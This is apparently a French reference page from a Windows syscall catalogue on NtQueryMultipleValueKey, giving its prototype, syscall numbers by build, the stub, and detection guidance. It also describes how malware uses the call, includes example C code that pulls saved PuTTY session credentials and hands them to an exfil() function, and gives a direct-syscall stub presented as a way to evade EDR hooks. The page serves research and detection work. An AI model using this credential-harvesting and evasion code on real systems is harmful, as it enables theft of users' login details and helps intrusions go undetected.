> Windows Syscalls
ntoskrnl.exeT1552.002T1012T1106

NtQueryMultipleValueKey

Lit atomiquement plusieurs valeurs de registre d'une même clé en un seul syscall.

Prototype

NTSTATUS NtQueryMultipleValueKey(
  HANDLE              KeyHandle,
  PKEY_VALUE_ENTRY    ValueEntries,
  ULONG               EntryCount,
  PVOID               ValueBuffer,
  PULONG              BufferLength,
  PULONG              RequiredBufferLength
);

Arguments

NameTypeDirDescription
KeyHandleHANDLEinHandle vers une clé de registre ouverte (doit inclure KEY_QUERY_VALUE).
ValueEntriesPKEY_VALUE_ENTRYin/outTableau de KEY_VALUE_ENTRY : l'appelant remplit ValueName, le noyau remplit Type/DataOffset/DataLength.
EntryCountULONGinNombre d'entrées dans le tableau ValueEntries.
ValueBufferPVOIDoutBuffer de sortie unique et compact ; le DataOffset de chaque ValueEntry y pointe.
BufferLengthPULONGin/outEn entrée : taille de ValueBuffer. En sortie : octets réellement utilisés.
RequiredBufferLengthPULONGoutDéfini en cas de STATUS_BUFFER_OVERFLOW avec la taille à réessayer.

IDs de syscalls par version de Windows

Version de WindowsID de syscallBuild
Win10 15070x13Bwin10-1507
Win10 16070x141win10-1607
Win10 17030x147win10-1703
Win10 17090x14Awin10-1709
Win10 18030x14Cwin10-1803
Win10 18090x14Dwin10-1809
Win10 19030x14Ewin10-1903
Win10 19090x14Ewin10-1909
Win10 20040x154win10-2004
Win10 20H20x154win10-20h2
Win10 21H10x154win10-21h1
Win10 21H20x155win10-21h2
Win10 22H20x155win10-22h2
Win11 21H20x15Cwin11-21h2
Win11 22H20x15Fwin11-22h2
Win11 23H20x15Fwin11-23h2
Win11 24H20x161win11-24h2
Server 20160x141winserver-2016
Server 20190x14Dwinserver-2019
Server 20220x15Awinserver-2022
Server 20250x161winserver-2025

Module noyau

ntoskrnl.exeNtQueryMultipleValueKey

APIs liées

RegQueryMultipleValuesWRegQueryValueExWNtQueryValueKeyNtEnumerateValueKeyNtOpenKeyZwQueryMultipleValueKey

Stub du syscall

4C 8B D1            mov r10, rcx
B8 61 01 00 00      mov eax, 0x161     ; Win11 24H2 SSN
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

Syscall sous-jacent de `RegQueryMultipleValuesW`. Le noyau parcourt la liste des valeurs de la clé une seule fois, récupère toutes les valeurs demandées dans un unique buffer compact sous un seul verrou de hive, et retourne les offsets — strictement plus rapide que N appels successifs à `NtQueryValueKey` et, surtout, *atomique* face aux écrivains concurrents. Chaque `KEY_VALUE_ENTRY` est `{ ValueName, DataLength, DataOffset, Type }` ; l'appelant pré-remplit `ValueName` (un `UNICODE_STRING*`), le noyau remplit les trois autres.

Usage courant par les malwares

Les outils de récolte d'identifiants et de reconnaissance ciblant des clés structurées bénéficient de l'atomicité. L'exemple classique est celui des sessions PuTTY enregistrées sous `HKCU\Software\SimonTatham\PuTTY\Sessions\<nom>` — `HostName`, `UserName`, `PortNumber`, `Protocol`, `PublicKeyFile` et `ProxyHost` peuvent être extraits en un seul appel, empêchant l'utilisateur de modifier la session en cours de lecture. WinSCP, les fallbacks INI/XML de FileZilla et les chemins d'historique PowerShell ISE dans HKCU présentent des formes similaires. C'est aussi un chemin légèrement moins hooké que `RegQueryValueExW`, ce qui peut constituer un gain marginal d'évasion contre les EDR qui instrumentent advapi32 mais pas les appels ntdll directs.

Opportunités de détection

Le volume d'appels à `NtQueryMultipleValueKey` est très faible comparé à `NtQueryValueKey`, ce qui en fait un signal relativement haut. ETW Microsoft-Windows-Kernel-Registry émet un `EventID 4` (QueryValueKey) *par valeur* même pour le chemin multi-valeur, donc les détections existantes basées sur l'accès à `Software\SimonTatham\PuTTY` ou `Software\Martin Prikryl` se déclenchent toujours. Sysmon Event 12/13 remontent les ouvertures de clé sur les chemins d'identifiants. Les règles de corrélation de processus (`powershell.exe`/`rundll32.exe`/binaire non signé lisant des sessions PuTTY) portent la valeur de détection réelle.

Exemples de syscalls directs

cPull a PuTTY session atomically

// HKCU\Software\SimonTatham\PuTTY\Sessions\<sessionName>
UNICODE_STRING n1, n2, n3, n4;
RtlInitUnicodeString(&n1, L"HostName");
RtlInitUnicodeString(&n2, L"UserName");
RtlInitUnicodeString(&n3, L"PortNumber");
RtlInitUnicodeString(&n4, L"PublicKeyFile");

KEY_VALUE_ENTRY entries[4] = {
    { &n1, 0, 0, 0 },
    { &n2, 0, 0, 0 },
    { &n3, 0, 0, 0 },
    { &n4, 0, 0, 0 },
};

UCHAR buf[2048];
ULONG bufLen = sizeof(buf), required = 0;
NTSTATUS st = NtQueryMultipleValueKey(hKey, entries, 4,
                                      buf, &bufLen, &required);
if (NT_SUCCESS(st)) {
    PWSTR host = (PWSTR)(buf + entries[0].DataOffset);
    PWSTR user = (PWSTR)(buf + entries[1].DataOffset);
    DWORD port = *(DWORD*)(buf + entries[2].DataOffset);
    PWSTR pkey = (PWSTR)(buf + entries[3].DataOffset);
    exfil(host, user, port, pkey);
}

asmx64 direct stub

; NtQueryMultipleValueKey direct syscall (Win11 24H2 SSN 0x161)
NtQueryMultipleValueKey PROC
    mov  r10, rcx
    mov  eax, 161h
    syscall
    ret
NtQueryMultipleValueKey ENDP

Mappings MITRE ATT&CK

Last verified: 2026-05-20